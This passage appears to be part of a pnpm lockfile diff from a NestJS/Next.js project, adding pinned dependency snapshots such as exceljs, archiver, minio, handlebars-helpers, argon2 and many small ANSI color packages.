JSONStream@1.3.5: dependencies: jsonparse: 1.3.1 @@ -6924,6 +8273,8 @@ snapshots: acorn@8.16.0: {} + adler-32@1.3.1: {} + agent-base@6.0.2: dependencies: debug: 4.4.3 @@ -6968,8 +8319,97 @@ snapshots: json-schema-traverse: 1.0.0 require-from-string: 2.0.2 + amqp-connection-manager@5.0.0(amqplib@2.0.1): + dependencies: + amqplib: 2.0.1 + promise-breaker: 6.0.0 + + amqplib@2.0.1: {} + + ansi-bgblack@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgblue@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgcyan@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bggreen@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgmagenta@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgred@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgwhite@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bgyellow@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-black@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-blue@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-bold@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-colors@0.2.0: + dependencies: + ansi-bgblack: 0.1.1 + ansi-bgblue: 0.1.1 + ansi-bgcyan: 0.1.1 + ansi-bggreen: 0.1.1 + ansi-bgmagenta: 0.1.1 + ansi-bgred: 0.1.1 + ansi-bgwhite: 0.1.1 + ansi-bgyellow: 0.1.1 + ansi-black: 0.1.1 + ansi-blue: 0.1.1 + ansi-bold: 0.1.1 + ansi-cyan: 0.1.1 + ansi-dim: 0.1.1 + ansi-gray: 0.1.1 + ansi-green: 0.1.1 + ansi-grey: 0.1.1 + ansi-hidden: 0.1.1 + ansi-inverse: 0.1.1 + ansi-italic: 0.1.1 + ansi-magenta: 0.1.1 + ansi-red: 0.1.1 + ansi-reset: 0.1.1 + ansi-strikethrough: 0.1.1 + ansi-underline: 0.1.1 + ansi-white: 0.1.1 + ansi-yellow: 0.1.1 + lazy-cache: 2.0.2 + ansi-colors@4.1.3: {} + ansi-cyan@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-dim@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + ansi-escapes@4.3.2: dependencies: type-fest: 0.21.3 @@ -6978,10 +8418,50 @@ snapshots: dependencies: environment: 1.1.0 + ansi-gray@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-green@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-grey@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-hidden@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-inverse@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-italic@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-magenta@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-red@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + ansi-regex@5.0.1: {} ansi-regex@6.2.2: {} + ansi-reset@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-strikethrough@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + ansi-styles@4.3.0: dependencies: color-convert: 2.0.1 @@ -6990,6 +8470,20 @@ snapshots: ansi-styles@6.2.3: {} + ansi-underline@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-white@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + + ansi-wrap@0.1.0: {} + + ansi-yellow@0.1.1: + dependencies: + ansi-wrap: 0.1.0 + ansis@4.2.0: {} ansis@4.3.0: {} @@ -7007,6 +8501,42 @@ snapshots: aproba@2.1.0: {} + archiver-utils@2.1.0: + dependencies: + glob: 7.2.3 + graceful-fs: 4.2.11 + lazystream: 1.0.1 + lodash.defaults: 4.2.0 + lodash.difference: 4.5.0 + lodash.flatten: 4.4.0 + lodash.isplainobject: 4.0.6 + lodash.union: 4.6.0 + normalize-path: 3.0.0 + readable-stream: 2.3.8 + + archiver-utils@3.0.4: + dependencies: + glob: 7.2.3 + graceful-fs: 4.2.11 + lazystream: 1.0.1 + lodash.defaults: 4.2.0 + lodash.difference: 4.5.0 + lodash.flatten: 4.4.0 + lodash.isplainobject: 4.0.6 + lodash.union: 4.6.0 + normalize-path: 3.0.0 + readable-stream: 3.6.2 + + archiver@5.3.2: + dependencies: + archiver-utils: 2.1.0 + async: 3.2.6 + buffer-crc32: 0.2.13 + readable-stream: 3.6.2 + readdir-glob: 1.1.3 + tar-stream: 2.2.0 + zip-stream: 4.1.1 + are-we-there-yet@2.0.0: dependencies: delegates: 1.0.0 @@ -7016,6 +8546,12 @@ snapshots: arg@5.0.2: {} + argon2@0.43.1: + dependencies: + '@phc/format': 1.0.0 + node-addon-api: 8.8.0 + node-gyp-build: 4.8.4 + argparse@1.0.10: dependencies: sprintf-js: 1.0.3 @@ -7024,6 +8560,12 @@ snapshots: aria-query@5.3.2: {} + arr-diff@4.0.0: {} + + arr-flatten@1.1.0: {} + + arr-union@3.1.0: {} + array-buffer-byte-length@1.0.2: dependencies: call-bound: 1.0.4 @@ -7042,8 +8584,16 @@ snapshots: is-string: 1.1.1 math-intrinsics: 1.1.0 + array-sort@0.1.4: + dependencies: + default-compare: 1.0.0 + get-value: 2.0.6 + kind-of: 5.1.0 + array-timsort@1.0.3: {} + array-unique@0.3.2: {} + array.prototype.findlast@1.2.5: dependencies: call-bind: 1.0.9 @@ -7097,12 +8647,22 @@ snapshots: asap@2.0.6: {} + assign-symbols@1.0.0: {} + ast-types-flow@0.0.8: {} async-function@1.0.0: {} + async@3.2.6: {} + asynckit@0.4.0: {} + atob@2.1.2: {} + + autolinker@0.28.1: + dependencies: + gulp-header: 1.8.12 + autoprefixer@10.5.0(postcss@8.5.15): dependencies: browserslist: 4.28.2 @@ -7191,6 +8751,16 @@ snapshots: base64-js@1.5.1: {} + base@0.11.2: + dependencies: + cache-base: 1.0.1 + class-utils: 0.3.6 + component-emitter: 1.3.1 + define-property: 1.0.0 + isobject: 3.0.1 + mixin-deep: 1.3.2 + pascalcase: 0.1.1 + baseline-browser-mapping@2.10.31: {} bcrypt@5.1.1: @@ -7201,14 +8771,27 @@ snapshots: - encoding - supports-color + big-integer@1.6.52: {} + binary-extensions@2.3.0: {} + binary@0.3.0: + dependencies: + buffers: 0.1.1 + chainsaw: 0.1.0 + bl@4.1.0: dependencies: buffer: 5.7.1 inherits: 2.0.4 readable-stream: 3.6.2 + block-stream2@2.1.0: + dependencies: + readable-stream: 3.6.2 + + bluebird@3.4.7: {} + body-parser@2.2.2: dependencies: bytes: 3.1.2 @@ -7236,10 +8819,27 @@ snapshots: dependencies: balanced-match: 4.0.4 + braces@2.3.2: + dependencies: + arr-flatten: 1.1.0 + array-unique: 0.3.2 + extend-shallow: 2.0.1 + fill-range: 4.0.0 + isobject: 3.0.1 + repeat-element: 1.1.4 + snapdragon: 0.8.2 + snapdragon-node: 2.1.1 + split-string: 3.1.0 + to-regex: 3.0.2 + transitivePeerDependencies: + - supports-color + braces@3.0.3: dependencies: fill-range: 7.1.1 + browser-or-node@2.1.1: {} + browserslist@4.28.2: dependencies: baseline-browser-mapping: 2.10.31 @@ -7256,10 +8856,14 @@ snapshots: dependencies: node-int64: 0.4.0 + buffer-crc32@0.2.13: {} + buffer-equal-constant-time@1.0.1: {} buffer-from@1.1.2: {} + buffer-indexof-polyfill@1.0.2: {} + buffer@5.7.1: dependencies: base64-js: 1.5.1 @@ -7270,6 +8874,8 @@ snapshots: base64-js: 1.5.1 ieee754: 1.2.1 + buffers@0.1.1: {} + busboy@1.6.0: dependencies: streamsearch: 1.1.0 @@ -7291,6 +8897,18 @@ snapshots: pkg-types: 2.3.1 rc9: 2.1.2 + cache-base@1.0.1: + dependencies: + collection-visit: 1.0.0 + component-emitter: 1.3.1 + get-value: 2.0.6 + has-value: 1.0.0 + isobject: 3.0.1 + set-value: 2.0.1 + to-object-path: 0.3.0 + union-value: 1.0.1 + unset-value: 1.0.0 + call-bind-apply-helpers@1.0.2: dependencies: es-errors: 1.3.0 @@ -7318,6 +8936,15 @@ snapshots: caniuse-lite@1.0.30001793: {} + cfb@1.2.2: + dependencies: + adler-32: 1.3.1 + crc-32: 1.2.2 + + chainsaw@0.1.0: + dependencies: + traverse: 0.3.9 + chalk@4.1.2: dependencies: ansi-styles: 4.3.0 @@ -7325,6 +8952,8 @@ snapshots: chalk@5.6.2: {} + change-case@5.4.4: {} + char-regex@1.0.2: {} chardet@2.1.1: {} @@ -7361,6 +8990,13 @@ snapshots: class-transformer@0.5.1: {} + class-utils@0.3.6: + dependencies: + arr-union: 3.1.0 + define-property: 0.2.5 + isobject: 3.0.1 + static-extend: 0.1.2 + class-validator@0.14.4: dependencies: '@types/validator': 13.15.10 @@ -7404,14 +9040,27 @@ snapshots: strip-ansi: 6.0.1 wrap-ansi: 7.0.0 + cliui@9.0.1: + dependencies: + string-width: 7.2.0 + strip-ansi: 7.2.0 + wrap-ansi: 9.0.2 + clone@1.0.4: {} clsx@2.1.1: {} co@4.6.0: {} + codepage@1.15.0: {} + collect-v8-coverage@1.0.3: {} + collection-visit@1.0.0: + dependencies: + map-visit: 1.0.0 + object-visit: 1.0.1 + color-convert@2.0.1: dependencies: color-name: 1.1.4 @@ -7444,6 +9093,13 @@ snapshots: component-emitter@1.3.1: {} + compress-commons@4.1.2: + dependencies: + buffer-crc32: 0.2.13 + crc32-stream: 4.0.3 + normalize-path: 3.0.0 + readable-stream: 3.6.2 + concat-map@0.0.1: {} concat-stream@2.0.0: @@ -7453,6 +9109,10 @@ snapshots: readable-stream: 3.6.2 typedarray: 0.0.6 + concat-with-sourcemaps@1.1.0: + dependencies: + source-map: 0.6.1 + confbox@0.2.4: {} consola@3.4.2: {} @@ -7488,6 +9148,10 @@ snapshots: cookiejar@2.1.4: {} + copy-descriptor@0.1.1: {} + + core-util-is@1.0.3: {} + cors@2.8.6: dependencies: object-assign: 4.1.1 @@ -7518,6 +9182,20 @@ snapshots: optionalDependencies: typescript: 5.9.3 + crc-32@1.2.2: {} + + crc32-stream@4.0.3: + dependencies: + crc-32: 1.2.2 + readable-stream: 3.6.2 + + create-frame@1.0.0: + dependencies: + define-property: 0.2.5 + extend-shallow: 2.0.1 + isobject: 3.0.1 + lazy-cache: 2.0.2 + create-jest@29.7.0(@types/node@20.19.41)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)): dependencies: '@jest/types': 29.6.3 @@ -7612,8 +9290,22 @@ snapshots: date-fns@3.6.0: {} + date.js@0.3.3: + dependencies: + debug: 3.1.0 + transitivePeerDependencies: + - supports-color + dayjs@1.11.20: {} + debug@2.6.9: + dependencies: + ms: 2.0.0 + + debug@3.1.0: + dependencies: + ms: 2.0.0 + debug@3.2.7: dependencies: ms: 2.1.3 @@ -7626,6 +9318,8 @@ snapshots: decimal.js-light@2.5.1: {} + decode-uri-component@0.2.2: {} + dedent@1.7.2: {} deep-is@0.1.4: {} @@ -7634,6 +9328,10 @@ snapshots: deepmerge@4.3.1: {} + default-compare@1.0.0: + dependencies: + kind-of: 5.1.0 + defaults@1.0.4: dependencies: clone: 1.0.4 @@ -7650,6 +9348,19 @@ snapshots: has-property-descriptors: 1.0.2 object-keys: 1.1.1 + define-property@0.2.5: + dependencies: + is-descriptor: 0.1.8 + + define-property@1.0.0: + dependencies: + is-descriptor: 1.0.4 + + define-property@2.0.2: + dependencies: + is-descriptor: 1.0.4 + isobject: 3.0.1 + defu@6.1.7: {} delayed-stream@1.0.0: {} @@ -7704,14 +9415,26 @@ snapshots: dotenv@17.4.1: {} + dotenv@17.4.2: {} + dunder-proto@1.0.1: dependencies: call-bind-apply-helpers: 1.0.2 es-errors: 1.3.0 gopd: 1.2.0 + duplexer2@0.1.4: + dependencies: + readable-stream: 2.3.8 + eastasianwidth@0.2.0: {} + ebec@1.1.1: + dependencies: + smob: 1.6.2 + + ebec@2.3.0: {} + ecdsa-sig-formatter@1.0.11: dependencies: safe-buffer: 5.2.1 @@ -7737,19 +9460,36 @@ snapshots: encodeurl@2.0.0: {} + end-of-stream@1.4.5: + dependencies: + once: 1.4.0 + enhanced-resolve@5.21.6: dependencies: graceful-fs: 4.2.11 tapable: 2.3.3 + ent@2.2.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + punycode: 1.4.1 + safe-regex-test: 1.1.0 + env-paths@2.2.1: {} environment@1.1.0: {} + envix@1.5.0: + dependencies: + std-env: 3.10.0 + error-ex@1.3.4: dependencies: is-arrayish: 0.2.1 + error-symbol@0.1.0: {} + es-abstract@1.24.2: dependencies: array-buffer-byte-length: 1.0.2 @@ -8082,6 +9822,10 @@ snapshots: etag@1.8.1: {} + ethiopian-calendar-date-converter@2.1.6: {} + + ethiopian-date@0.0.6: {} + eventemitter2@6.4.9: {} eventemitter3@4.0.7: {} @@ -8090,6 +9834,18 @@ snapshots: events@3.3.0: {} + exceljs@4.4.0: + dependencies: + archiver: 5.3.2 + dayjs: 1.11.20 + fast-csv: 4.3.6 + jszip: 3.10.1 + readable-stream: 3.6.2 + saxes: 5.0.1 + tmp: 0.2.7 + unzipper: 0.10.14 + uuid: 8.3.2 + execa@5.1.1: dependencies: cross-spawn: 7.0.6 @@ -8116,6 +9872,18 @@ snapshots: exit@0.1.2: {} + expand-brackets@2.1.4: + dependencies: + debug: 2.6.9 + define-property: 0.2.5 + extend-shallow: 2.0.1 + posix-character-classes: 0.1.1 + regex-not: 1.0.2 + snapdragon: 0.8.2 + to-regex: 3.0.2 + transitivePeerDependencies: + - supports-color + expect@29.7.0: dependencies: '@jest/expect-utils': 29.7.0 @@ -8159,10 +9927,41 @@ snapshots: exsolve@1.0.8: {} + extend-shallow@2.0.1: + dependencies: + is-extendable: 0.1.1 + + extend-shallow@3.0.2: + dependencies: + assign-symbols: 1.0.0 + is-extendable: 1.0.1 + + extglob@2.0.4: + dependencies: + array-unique: 0.3.2 + define-property: 1.0.0 + expand-brackets: 2.1.4 + extend-shallow: 2.0.1 + fragment-cache: 0.2.1 + regex-not: 1.0.2 + snapdragon: 0.8.2 + to-regex: 3.0.2 + transitivePeerDependencies: + - supports-color + + falsey@0.3.2: + dependencies: + kind-of: 5.1.0 + fast-check@3.23.2: dependencies: pure-rand: 6.1.0 + fast-csv@4.3.6: + dependencies: + '@fast-csv/format': 4.3.5 + '@fast-csv/parse': 4.3.6 + fast-deep-equal@3.1.3: {} fast-equals@5.4.0: {} @@ -8183,6 +9982,10 @@ snapshots: fast-uri@3.1.2: {} + fast-xml-parser@4.5.6: + dependencies: + strnum: 1.1.2 + fastq@1.20.1: dependencies: reusify: 1.1.0 @@ -8208,10 +10011,19 @@ snapshots: transitivePeerDependencies: - supports-color + fill-range@4.0.0: + dependencies: + extend-shallow: 2.0.1 + is-number: 3.0.0 + repeat-string: 1.6.1 + to-regex-range: 2.1.1 + fill-range@7.1.1: dependencies: to-regex-range: 5.0.1 + filter-obj@1.1.0: {} + finalhandler@2.1.1: dependencies: debug: 4.4.3 @@ -8245,6 +10057,8 @@ snapshots: keyv: 4.5.4 rimraf: 3.0.2 + flat@5.0.2: {} + flatted@3.4.2: {} follow-redirects@1.16.0: {} @@ -8253,6 +10067,12 @@ snapshots: dependencies: is-callable: 1.2.7 + for-in@1.0.2: {} + + for-own@1.0.0: + dependencies: + for-in: 1.0.2 + foreground-child@3.3.1: dependencies: cross-spawn: 7.0.6 @@ -8291,10 +10111,20 @@ snapshots: forwarded@0.2.0: {} + frac@1.1.2: {} + fraction.js@5.3.4: {} + fragment-cache@0.2.1: + dependencies: + map-cache: 0.2.2 + fresh@2.0.0: {} + fs-constants@1.0.0: {} + + fs-exists-sync@0.1.0: {} + fs-extra@10.1.0: dependencies: graceful-fs: 4.2.11 @@ -8312,6 +10142,13 @@ snapshots: fsevents@2.3.3: optional: true + fstream@1.0.12: + dependencies: + graceful-fs: 4.2.11 + inherits: 2.0.4 + mkdirp: 0.5.6 + rimraf: 2.7.1 + function-bind@1.1.2: {} function.prototype.name@1.1.8: @@ -8358,6 +10195,11 @@ snapshots: hasown: 2.0.3 math-intrinsics: 1.1.0 + get-object@0.2.0: + dependencies: + is-number: 2.1.0 + isobject: 0.2.0 + get-package-type@0.1.0: {} get-proto@1.0.1: @@ -8379,6 +10221,8 @@ snapshots: dependencies: resolve-pkg-maps: 1.0.0 + get-value@2.0.6: {} + giget@2.0.0: dependencies: citty: 0.1.6 @@ -8455,6 +10299,55 @@ snapshots: graphemer@1.4.0: {} + gulp-header@1.8.12: + dependencies: + concat-with-sourcemaps: 1.1.0 + lodash.template: 4.18.1 + through2: 2.0.5 + + handlebars-helper-create-frame@0.1.0: + dependencies: + create-frame: 1.0.0 + isobject: 3.0.1 + + handlebars-helpers@0.10.0: + dependencies: + arr-flatten: 1.1.0 + array-sort: 0.1.4 + create-frame: 1.0.0 + define-property: 1.0.0 + falsey: 0.3.2 + for-in: 1.0.2 + for-own: 1.0.0 + get-object: 0.2.0 + get-value: 2.0.6 + handlebars: 4.7.9 + handlebars-helper-create-frame: 0.1.0 + handlebars-utils: 1.0.6 + has-value: 1.0.0 + helper-date: 1.0.1 + helper-markdown: 1.0.0 + helper-md: 0.2.2 + html-tag: 2.0.0 + is-even: 1.0.0 + is-glob: 4.0.3 + is-number: 4.0.0 + kind-of: 6.0.3 + lazy-cache: 2.0.2 + logging-helpers: 1.0.0 + micromatch: 3.1.10 + relative: 3.0.2 + striptags: 3.2.0 + to-gfm-code-block: 0.1.1 + year: 0.2.1 + transitivePeerDependencies: + - supports-color + + handlebars-utils@1.0.6: + dependencies: + kind-of: 6.0.3 + typeof-article: 0.1.1 + handlebars@4.7.9: dependencies: minimist: 1.2.8 @@ -8484,12 +10377,59 @@ snapshots: has-unicode@2.0.1: {} + has-value@0.3.1: + dependencies: + get-value: 2.0.6 + has-values: 0.1.4 + isobject: 2.1.0 + + has-value@1.0.0: + dependencies: + get-value: 2.0.6 + has-values: 1.0.0 + isobject: 3.0.1 + + has-values@0.1.4: {} + + has-values@1.0.0: + dependencies: + is-number: 3.0.0 + kind-of: 4.0.0 + hasown@2.0.3: dependencies: function-bind: 1.1.2 + helper-date@1.0.1: + dependencies: + date.js: 0.3.3 + handlebars-utils: 1.0.6 + moment: 2.30.1 + transitivePeerDependencies: + - supports-color + + helper-markdown@1.0.0: + dependencies: + handlebars-utils: 1.0.6 + highlight.js: 9.18.5 + remarkable: 1.7.4 + + helper-md@0.2.2: + dependencies: + ent: 2.2.2 + extend-shallow: 2.0.1 + fs-exists-sync: 0.1.0 + remarkable: 1.7.4 + + highlight.js@9.18.5: {} + html-escaper@2.0.2: {} + html-tag@2.0.0: + dependencies: + is-self-closing: 1.0.1 + kind-of: 6.0.3 + http-errors@2.0.1: dependencies: depd: 2.0.0 @@ -8521,6 +10461,8 @@ snapshots: ignore@7.0.5: {} + immediate@3.0.6: {} + import-fresh@3.3.1: dependencies: parent-module: 1.0.1 @@ -8540,6 +10482,8 @@ snapshots: once: 1.4.0 wrappy: 1.0.2 + info-symbol@0.1.0: {} + inherits@2.0.4: {} ini@4.1.1: {} @@ -8554,6 +10498,17 @@ snapshots: ipaddr.js@1.9.1: {} + ipaddr.js@2.4.0: {} + + is-accessor-descriptor@1.0.2: + dependencies: + hasown: 2.0.3 + + is-arguments@1.2.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + is-array-buffer@3.0.5: dependencies: call-bind: 1.0.9 @@ -8583,6 +10538,8 @@ snapshots: call-bound: 1.0.4 has-tostringtag: 1.0.2 + is-buffer@1.1.6: {} + is-bun-module@2.0.0: dependencies: semver: 7.8.1 @@ -8593,6 +10550,10 @@ snapshots: dependencies: hasown: 2.0.3 + is-data-descriptor@1.0.1: + dependencies: + hasown: 2.0.3 + is-data-view@1.0.2: dependencies: call-bound: 1.0.4 @@ -8604,6 +10565,26 @@ snapshots: call-bound: 1.0.4 has-tostringtag: 1.0.2 + is-descriptor@0.1.8: + dependencies: + is-accessor-descriptor: 1.0.2 + is-data-descriptor: 1.0.1 + + is-descriptor@1.0.4: + dependencies: + is-accessor-descriptor: 1.0.2 + is-data-descriptor: 1.0.1 + + is-even@1.0.0: + dependencies: + is-odd: 0.1.2 + + is-extendable@0.1.1: {} + + is-extendable@1.0.1: + dependencies: + is-plain-object: 2.0.4 + is-extglob@2.1.1: {} is-finalizationregistry@1.1.1: @@ -8643,12 +10624,30 @@ snapshots: call-bound: 1.0.4 has-tostringtag: 1.0.2 + is-number@2.1.0: + dependencies: + kind-of: 3.2.2 + + is-number@3.0.0: + dependencies: + kind-of: 3.2.2 + + is-number@4.0.0: {} + is-number@7.0.0: {} is-obj@2.0.0: {} + is-odd@0.1.2: + dependencies: + is-number: 3.0.0 + is-path-inside@3.0.3: {} + is-plain-object@2.0.4: + dependencies: + isobject: 3.0.1 + is-promise@4.0.0: {} is-regex@1.2.1: @@ -8658,6 +10657,10 @@ snapshots: has-tostringtag: 1.0.2 hasown: 2.0.3 + is-self-closing@1.0.1: + dependencies: + self-closing-tags: 1.0.1 + is-set@2.0.3: {} is-shared-array-buffer@1.0.4: @@ -8700,10 +10703,22 @@ snapshots: call-bound: 1.0.4 get-intrinsic: 1.3.0 + is-windows@1.0.2: {} + + isarray@1.0.0: {} + isarray@2.0.5: {} isexe@2.0.0: {} + isobject@0.2.0: {} + + isobject@2.1.0: + dependencies: + isarray: 1.0.0 + + isobject@3.0.1: {} + istanbul-lib-coverage@3.2.2: {} istanbul-lib-instrument@5.2.1: @@ -9089,6 +11104,8 @@ snapshots: jiti@2.7.0: {} + jmespath@0.16.0: {} + jose@5.10.0: {} js-tokens@4.0.0: {} @@ -9118,6 +11135,8 @@ snapshots: json-stable-stringify-without-jsonify@1.0.1: {} + json-stream@1.0.0: {} + json5@1.0.2: dependencies: minimist: 1.2.8 @@ -9167,6 +11186,13 @@ snapshots: object.assign: 4.1.7 object.values: 1.2.1 + jszip@3.10.1: + dependencies: + lie: 3.3.0 + pako: 1.0.11 + readable-stream: 2.3.8 + setimmediate: 1.0.5 + jwa@1.4.2: dependencies: buffer-equal-constant-time: 1.0.1 @@ -9193,6 +11219,18 @@ snapshots: dependencies: json-buffer: 3.0.1 + kind-of@3.2.2: + dependencies: + is-buffer: 1.1.6 + + kind-of@4.0.0: + dependencies: + is-buffer: 1.1.6 + + kind-of@5.1.0: {} + + kind-of@6.0.3: {} + kleur@3.0.3: {} language-subtag-registry@0.3.23: {} @@ -9201,6 +11239,14 @@ snapshots: dependencies: language-subtag-registry: 0.3.23 + lazy-cache@2.0.2: + dependencies: + set-getter: 0.1.1 + + lazystream@1.0.1: + dependencies: + readable-stream: 2.3.8 + leven@3.1.0: {} levn@0.4.1: @@ -9210,6 +11256,15 @@ snapshots: libphonenumber-js@1.13.3: {} + libreoffice-convert@1.8.1: + dependencies: + async: 3.2.6 + tmp: 0.2.7 + + lie@3.3.0: + dependencies: + immediate: 3.0.6 + lilconfig@3.1.3: {} lines-and-columns@1.2.4: {} @@ -9229,6 +11284,8 @@ snapshots: transitivePeerDependencies: - supports-color + listenercount@1.0.1: {} + listr2@8.3.3: dependencies: cli-truncate: 4.0.0 @@ -9254,20 +11311,49 @@ snapshots: dependencies: p-locate: 6.0.0 + locter@2.2.1: + dependencies: + destr: 2.0.5 + ebec: 2.3.0 + fast-glob: 3.3.3 + flat: 5.0.2 + jiti: 2.7.0 + yaml: 2.9.0 + + lodash._reinterpolate@3.0.0: {} + lodash.camelcase@4.3.0: {} + lodash.defaults@4.2.0: {} + + lodash.difference@4.5.0: {} + + lodash.escaperegexp@4.1.2: {} + + lodash.flatten@4.4.0: {} + + lodash.groupby@4.6.0: {} + lodash.includes@4.3.0: {} lodash.isboolean@3.0.3: {} + lodash.isequal@4.5.0: {} + + lodash.isfunction@3.0.9: {} + lodash.isinteger@4.0.4: {} + lodash.isnil@4.0.0: {} + lodash.isnumber@3.0.3: {} lodash.isplainobject@4.0.6: {} lodash.isstring@4.0.1: {} + lodash.isundefined@3.0.1: {} + lodash.kebabcase@4.1.1: {} lodash.memoize@4.1.2: {} @@ -9282,6 +11368,17 @@ snapshots: lodash.startcase@4.4.0: {} + lodash.template@4.18.1: + dependencies: + lodash._reinterpolate: 3.0.0 + lodash.templatesettings: 4.2.0 + + lodash.templatesettings@4.2.0: + dependencies: + lodash._reinterpolate: 3.0.0 + + lodash.union@4.6.0: {} + lodash.uniq@4.5.0: {} lodash.upperfirst@4.3.1: {} @@ -9290,6 +11387,11 @@ snapshots: lodash@4.18.1: {} + log-ok@0.1.1: + dependencies: + ansi-green: 0.1.1 + success-symbol: 0.1.0 + log-symbols@4.1.0: dependencies: chalk: 4.1.2 @@ -9303,10 +11405,29 @@ snapshots: strip-ansi: 7.2.0 wrap-ansi: 9.0.2 + log-utils@0.2.1: + dependencies: + ansi-colors: 0.2.0 + error-symbol: 0.1.0 + info-symbol: 0.1.0 + log-ok: 0.1.1 + success-symbol: 0.1.0 + time-stamp: 1.1.0 + warning-symbol: 0.1.0 + + logging-helpers@1.0.0: + dependencies: + isobject: 3.0.1 + log-utils: 0.2.1 + loose-envify@1.4.0: dependencies: js-tokens: 4.0.0 + lower-case@2.0.2: + dependencies: + tslib: 2.8.1 + lru-cache@10.4.3: {} lru-cache@11.5.0: {} @@ -9339,6 +11460,12 @@ snapshots: dependencies: tmpl: 1.0.5 + map-cache@0.2.2: {} + + map-visit@1.0.0: + dependencies: + object-visit: 1.0.1 + math-intrinsics@1.1.0: {} media-typer@0.3.0: {} @@ -9359,6 +11486,24 @@ snapshots: methods@1.1.2: {} + micromatch@3.1.10: + dependencies: + arr-diff: 4.0.0 + array-unique: 0.3.2 + braces: 2.3.2 + define-property: 2.0.2 + extend-shallow: 3.0.2 + extglob: 2.0.4 + fragment-cache: 0.2.1 + kind-of: 6.0.3 + nanomatch: 1.2.13 + object.pick: 1.3.0 + regex-not: 1.0.2 + snapdragon: 0.8.2 + to-regex: 3.0.2 + transitivePeerDependencies: + - supports-color + micromatch@4.0.8: dependencies: braces: 3.0.3 @@ -9392,12 +11537,33 @@ snapshots: dependencies: brace-expansion: 1.1.14 + minimatch@5.1.9: + dependencies: + brace-expansion: 2.1.0 + minimatch@9.0.9: dependencies: brace-expansion: 2.1.0 minimist@1.2.8: {} + minio@7.1.3: + dependencies: + async: 3.2.6 + block-stream2: 2.1.0 + browser-or-node: 2.1.1 + buffer-crc32: 0.2.13 + fast-xml-parser: 4.5.6 + ipaddr.js: 2.4.0 + json-stream: 1.0.0 + lodash: 4.18.1 + mime-types: 2.1.35 + query-string: 7.1.3 + through2: 4.0.2 + web-encoding: 1.1.5 + xml: 1.0.1 + xml2js: 0.5.0 + minipass@3.3.6: dependencies: yallist: 4.0.0 @@ -9411,8 +11577,21 @@ snapshots: minipass: 3.3.6 yallist: 4.0.0 + mixin-deep@1.3.2: + dependencies: + for-in: 1.0.2 + is-extendable: 1.0.1 + + mkdirp@0.5.6: + dependencies: + minimist: 1.2.8 + mkdirp@1.0.4: {} + moment@2.30.1: {} + + ms@2.0.0: {} + ms@2.1.3: {} multer@2.1.1: @@ -9432,6 +11611,22 @@ snapshots: nanoid@3.3.12: {} + nanomatch@1.2.13: + dependencies: + arr-diff: 4.0.0 + array-unique: 0.3.2 + define-property: 2.0.2 + extend-shallow: 3.0.2 + fragment-cache: 0.2.1 + is-windows: 1.0.2 + kind-of: 6.0.3 + object.pick: 1.3.0 + regex-not: 1.0.2 + snapdragon: 0.8.2 + to-regex: 3.0.2 + transitivePeerDependencies: + - supports-color + napi-postinstall@0.3.4: {} natural-compare@1.4.0: {} @@ -9440,6 +11635,14 @@ snapshots: neo-async@2.6.2: {} + nestjs-minio-client@2.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23): + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + minio: 7.1.3 + reflect-metadata: 0.1.14 + rxjs: 7.8.2 + next@14.2.35(react-dom@18.3.1(react@18.3.1))(react@18.3.1): dependencies: '@next/env': 14.2.35 @@ -9465,10 +11668,17 @@ snapshots: - '@babel/core' - babel-plugin-macros + no-case@3.0.4: + dependencies: + lower-case: 2.0.2 + tslib: 2.8.1 + node-abort-controller@3.1.1: {} node-addon-api@5.1.0: {} + node-addon-api@8.8.0: {} + node-emoji@1.11.0: dependencies: lodash: 4.18.1 @@ -9486,6 +11696,8 @@ snapshots: dependencies: whatwg-url: 5.0.0 + node-gyp-build@4.8.4: {} + node-int64@0.4.0: {} node-releases@2.0.45: {} @@ -9519,12 +11731,22 @@ snapshots: object-assign@4.1.1: {} + object-copy@0.1.0: + dependencies: + copy-descriptor: 0.1.1 + define-property: 0.2.5 + kind-of: 3.2.2 + object-hash@3.0.0: {} object-inspect@1.13.4: {} object-keys@1.1.1: {} + object-visit@1.0.1: + dependencies: + isobject: 3.0.1 + object.assign@4.1.7: dependencies: call-bind: 1.0.9 @@ -9554,6 +11776,10 @@ snapshots: define-properties: 1.2.1 es-abstract: 1.24.2 + object.pick@1.3.0: + dependencies: + isobject: 3.0.1 + object.values@1.2.1: 